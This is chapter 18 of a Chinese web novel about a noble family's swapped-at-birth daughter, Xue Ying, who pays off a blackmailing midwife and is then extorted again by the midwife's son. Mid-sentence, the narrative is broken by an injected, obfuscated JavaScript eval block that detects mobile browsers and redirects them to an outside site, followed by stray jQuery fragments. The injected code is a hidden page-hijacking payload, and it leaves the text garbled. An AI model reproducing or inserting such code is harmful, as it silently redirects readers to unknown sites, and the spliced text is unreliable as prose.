18. 第十八章

作品:《假千金和真少爷在一起了

    她看上去很狼狈,衣衫褴褛,拄着一根拐杖,发髻杂乱,脸上满是深深的沟壑,那双枯槁一般的手不知道为什么有那么大的力气,像是镣铐,薛瑛怎么都挣脱不开。


    从被这人拉住的一瞬间开始,薛瑛脸色苍白如纸,嘴唇嗫嚅,好半晌都没法发出声音。


    下人想要将老妇人拉开,她口中念念有词,胡乱地说着话,薛瑛头皮发麻,抬了下手,两个小厮将老妇人放下。


    采薇不解地看向她,“姑娘?”


    她侧目,身旁的少女整个人似乎都僵住了,嘴角无意识地动了动,那张漂亮精致的小脸宛若石化,好一会儿才开口,嗓音沙哑,“采薇,将她带到后面的巷子里,让人守在外面,不准任何人过来。”


    她语气认真,如临大敌,采薇头皮发麻,“是……”


    采薇立刻转身,让两个小厮到巷子口守着,她则带着老妇人到角落。


    薛瑛深呼吸几下,终于鼓足勇气,看向那个老妇人,“你找我想做什么?”


    老妇人抬起头,她的脸上满是皱纹,模样看着很可怜,开口的声音苍老粗粝,“瞧二小姐的模样,似乎已经知晓当年之事?”


    “什么事?”薛瑛装不知道,“有什么话就说,别在这里拐弯抹角的。”


    “那老奴就直说了。”老妇人擦了擦汗,“五百两,老奴可以保证,那件事情永远都不会让任何人知道。”


    “五百两?”


    薛瑛声音提了提,“只要钱?”


    “是……只要钱,二小姐享受了这么多年的荣华富贵,区区五百两应当算不了什么。”老妇人看着她,说:“当年两位贵人都是我接生的,没有人比我更知道十七年前的雨夜都发生过什么。”


    薛瑛胸腔起伏,咬牙切齿,“你敢威胁我?”


    她最恨被人威胁,哪怕只是五百两,她不是掏不出来。


    看着薛瑛愠怒的样子,老妇人本能性地害怕,肩膀缩了缩,畏手畏脚,小声说:“老奴不敢……”


    她说完,垂下目光,像是想起什么伤心事似的,浑浊苍老的眼睛终于有了一点活物的迹象,“其实原本老奴也不想来打扰二小姐的,奈何我那儿子实在不争气,在外面欠了赌债,家中砸锅卖铁,就连我那可怜的儿媳都被抵押还债了,实在是走途无路,这才找到二小姐这里……老奴只要五百两,还了赌债就好,以后决计不会再来打扰二小姐,这个秘密,我会带进棺材里。”


    薛瑛袖中的双手握紧了,她没有想过有朝一日,这个接生婆会找到她面前,老妇人与她的生母是共犯,一起策划了那场狸猫换太子的戏码,调换了两个人的人生,生母已经死了,程明簌手里还握着信物与遗书,薛瑛拿他没有办法,如今又有一个稳婆用那个秘密来威胁她。


    薛瑛闭了闭眼,缓缓吐息,“这件事情,除了你之外,没有别人知道?”


    “没有……”老奴凄凄哀哀地道:“我没有告诉过任何人。”


    “好,五百两银子,我拿给你,你以后不可以再来找我。”


    薛瑛看着她,说道,神情严肃。


    老妇人脸上露出喜色,几乎要给她磕头。


    薛瑛吩咐采薇回侯府取五百两银票出来,她将装着银票的荷包递给老妇人,“以后你不可以再出现在我面前,永远。”


    “是……多谢二小姐。”


    老妇人连连点头,佝偻着腰,将银票里三层外三层地包好,塞在包袱最里层,然后颤颤巍巍地走了。


    薛瑛全身的力气似乎一瞬间被抽空,脚下晃了晃,身体摇摇欲坠。


    “姑娘!”


    采薇赶忙上前扶住她。


    “采薇……你扶我回去吧,我不想出去逛了。”


    薛瑛有气无力地说,脸色很白。


    回到侯府,只刚走进自己的院子,她当即便晕了过去,采薇吓得大惊失色。


    和前几次一样,薛瑛做了个很沉的梦。


    梦里,程明簌刚回家的时候,薛瑛躲在屏风后偷看,那时她刚被告知,自己是鸠占鹊巢的假千金,薛瑛以前无法无天惯了,养得刁蛮任性,得罪过许多人,事情败露后,薛瑛都不敢出门,以前总喜欢纠缠她的某个纨绔,甚至大言不惭地说要带她回去做妾。


    落魄的贵女日子并不好过,薛瑛过得心惊胆战,怕被家人厌弃,她的下场会变得很凄惨。


    几乎一夜之间,父母就对她完全变了态度,最疼爱她的母亲会歇斯底里地控诉她多么的恶毒,下作。


    薛瑛一开始没有想和他们作对的,可是后来她也和失了智一样,做出了许多无可挽回的事情,最后众叛亲离,从侯府逃出去后,路途艰难,那些人都想要掳她回去,侯府的二小姐高不可攀,但一个被厌弃,作恶多端的家仆之女,还不好掠夺吗?


    做妾,做见不得光的外室,甚至是禁.脔,没有身份,被囚禁在笼子里,只能任人宰割。


    薛瑛醒来时泪流满面,采薇守在榻边,看到她哭了便也开始哭。


    那个老妇人走后,采薇就拼凑出来一个事实,二小姐并不是薛家的孩子,老妇人拿着这个秘密来威胁二小姐,那个被换走的真少爷,应当就是前段时间暂住侯府的程郎君吧,难过小姐与他那么不对付。


    “姑娘。”采薇哽咽地道:“不管怎样,您都是我的二小姐。”


    小的时候,采薇要被家里卖进窑子,她永远都记得,坐在马车里的薛瑛看到她被打手追,如宝珠一样璀璨的二小姐扬着下巴,轻抬了下手指,她的人生就全然改变了。


    作为侯府的一等侍女,跟随二小姐,月俸五两,姑娘是刁蛮了些,但是待府中下人都是很温和的,赏钱给的也多,哪个奴婢要是生病了,二小姐会让人找大夫为其好好医治,每年暑夏,她都会用自己小私库里的钱给府中下人买解暑的瓜果,凉茶。


    薛瑛握着她的手,她记得前世她被侯府所有人厌弃,只有几个奴婢还愿意对薛瑛好,她之所以能逃出侯府,多亏了她们的帮忙,采薇的身籍在侯府,离不了,送薛瑛逃走时,将自己这些年攒下的银子全都塞在薛瑛的包袱中。


    “你跟着我,我不会叫你受苦的。”薛瑛说:“我知道你对我衷心,但是我不需要你为我肝脑涂地。”


    薛瑛嚣张跋扈,但是她一直是个敢作敢当的人,若自


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640033|172345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    己犯了错,要受到报应,那都是她一个人的错,不用别人帮她担着。


    薛瑛从榻上下来,擦了擦脸,采薇扶着她,“姑娘,我扶您出去走一走,心情会好许多。”


    那个稳婆拿了五百两后,消停许久,好一阵子没有出现,久到薛瑛都快忘了这件事,觉得她真的信守承诺,不会再出现时,直到一个男人突然找到她。


    他与稳婆长得有些像,穿着粗衣,面黄肌瘦,笑容猥琐,一开口露出满嘴歪七扭八的黄牙,打量着薛瑛时的目光让她很不舒服。


    采薇警惕地看着这个男人。


    “难怪那老东西突然有了不少钱,还清债务,还从地主那儿将抵押掉的田地都买回来了,原来有个财神在这儿。”


    男人嘿嘿笑,凑上前,他身上的臭味熏得薛瑛头晕,采薇站在薛瑛面前,扯着嗓子就要喊人。


    “薛二小姐。”男人搓了搓手,“我已经从我老娘那里知道你的事了,您若想封口,嘿嘿,五千两。”


    他伸手比了个数,薛瑛登时气急攻心。


    那稳婆回家后,被她儿子狠狠打骂,逼问钱财来源,从老妇人口中得知了换子一事,想着那薛二小姐真是个摇钱树,便找到薛瑛跟前来,狮子大开口。


    薛瑛胸腔里怒气郁结,伸手指着面前的男人,说不出话。


    脑海里回荡着前不久程明簌对她说的话,“斩草除根,不学着聪明点,就会被人吐得骨头都不剩。”


    从一开始,她就该直接将那稳婆解决了,才不至于让这秘密暴露在更多人面前。


    薛瑛咬着牙,“将他打杀出去!”


    男人立刻扬声道:“晚了,薛二姑娘,小的来之前已经将所有的事情都告诉我兄弟了,我要是死了,他就会将这件事情公之于众,到时候,薛二小姐还是高高在上的侯府嫡女吗?”


    薛瑛咬牙切齿,冲上去想要撕烂他的嘴。


    “姑娘!”


    采薇及时拖住她,薛瑛赤红着眼,下颌轻颤,牙齿发出磕碰的声音。


    半晌,她深深闭眼,无力地说:“采薇,你去我屋里拿钱给他。”


    采薇愤愤看了那男人一眼,跑回侯府拿钱。


    薛瑛整个人近乎恍惚,呆呆地站在墙边,男人毫不避讳地看着她。


    薛二小姐的娇艳是出了名的,她整个身子都压在冰凉的粉墙上,纤腰束着松绿丝绦,耳垂两点珍珠坠子衬得脖颈越发纤秀,薛瑛垂着头,大概是气急了,每喘一口气,单薄的肩胛骨就跟着抽动一下,像是一具精致的绸缎偶人,全靠那堵墙撑着才没瘫软在地。


    没多久,采薇将几张银票还有一箱金元宝拿给那男人。


    这是薛瑛全部的家当了,爹娘给的钱多,但她花销也大,身边能取用的活钱全部都在这儿。


    男人见钱眼开,双目几乎泛着金光,将箱子紧紧抱着,“多谢二小姐!”


    采薇扶起就要滑倒的薛瑛,“姑娘……”


    她盈盈垂泪,为她的小姐哭。


    薛瑛回去就病了,再也没有了出门的兴致。


    可是事情并没有到此为止,没多久,那男人又来了。